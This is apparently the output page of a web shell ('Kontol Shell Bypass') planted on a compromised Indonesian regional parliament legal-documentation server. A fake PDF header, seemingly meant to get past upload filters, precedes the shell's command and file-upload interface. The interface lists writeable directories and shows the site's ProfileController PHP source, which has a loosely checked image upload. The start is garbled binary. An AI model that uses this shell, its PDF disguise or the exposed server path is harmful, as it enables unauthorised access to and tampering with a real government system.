%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/frontend/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/ildis_v4/frontend/controllers/ProfileController.php
<?php


namespace frontend\controllers;

use Yii;

use backend\models\Circulation;
use backend\models\Member;
use backend\models\CirculationSearch;
use yii\data\ActiveDataProvider;
use yii\web\UploadedFile;
use backend\web\components\FileHelper;

class ProfileController extends \yii\web\Controller
{
    public function actionIndex()
    {
        return $this->render('index');
    }

    public function actionPeminjaman()
    {
        //$model = Member::find()->where(['id' => \Yii::$app->user->identity->id])->one();
        // $searchModel = new CirculationAllSearch();

        $searchModel = new CirculationSearch(['id' => \Yii::$app->user->identity->id, 'status' => 0]);
        // $dataProvider->query->andWhere(['id'=>[2,3,4]]);

        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);
        $model = Circulation::find()->where(['member_id' => \Yii::$app->user->identity->id, 'status' => 1])->all();
        $model2 = Circulation::find()->where(['member_id' => \Yii::$app->user->identity->id, 'status' => 0])->all();

        // Yii::$app->session->setFlash('warning', 'Data Profile sudah dibuat, anda tidak diperkenankan membuat data lain');
        //return $this->redirect(['view', 'id' => $cari->id]);
        return $this->render('index-peminjaman', ['model' => $model, 'model2' => $model2]);
    }


    public function actionProfile()
    {
        $model = Member::find()->where(['id' => \Yii::$app->user->identity->id])->one();
        // $sirkulasi = Sirkulasi::find()->where(['id' => \Yii::$app->user->identity->id, 'status' => 1])->one();
        $dataProvider = new ActiveDataProvider([
            'query' => Circulation::find()->where(['id' => \Yii::$app->user->identity->id, 'status' => 1]),
            'pagination' => ['pageSize' => 10]
        ]);
        if (!empty($model)) {
            // Yii::$app->session->setFlash('warning', 'Data Profile sudah dibuat, anda tidak diperkenankan membuat data lain');
            //return $this->redirect(['view', 'id' => $cari->id]);
            return $this->render('profile', ['model' => $model, 'dataProvider' => $dataProvider,]);
        } else {
            return $this->render('profile2');
        }
    }

    public function actionUpdate($id)
    {
        $model = Member::find()->where(['id' => \Yii::$app->user->identity->id])->one();
        $old_image = $model->member_image;

        if ($model->load(Yii::$app->request->post())) {
            $image = UploadedFile::getInstance($model, 'member_image');
            if (!empty($image)) {
                $model->member_image =  strtolower(preg_replace('/[^a-zA-Z0-9-_\.]/', '', $image->name));
                $model->member_image = FileHelper::sanitizeFilename($image->name);
                $path = Yii::getAlias('@common') . '/dokumen/' . $model->member_image;
                $image->saveAs($path);
            }else{
                $model->member_image=$old_image;
            }

            if ($model->save()){


            Yii::$app->session->setFlash('success', 'Data Member berhasil diubah');
            return $this->redirect(['profile', 'id' => $model->id]);
        } 
        }else {
            return $this->render('update-member', [
                'model' => $model,
            ]);
        }
    }  

    public function actionPassword($id)
    {
        $model = Member::find()->where(['id' => \Yii::$app->user->identity->id])->one();
       

        if ($model->load(Yii::$app->request->post())) {
            $model->password_hash = Yii::$app->security->generatePasswordHash($model->password_hash);
        
            if ($model->save()){


            Yii::$app->session->setFlash('success', 'Password Member berhasil diubah');
            return $this->redirect(['profile', 'id' => $model->id]);
        } 
        }else {
            return $this->render('update-password', [
                'model' => $model,
            ]);
        }
    }       
}

Kontol Shell Bypass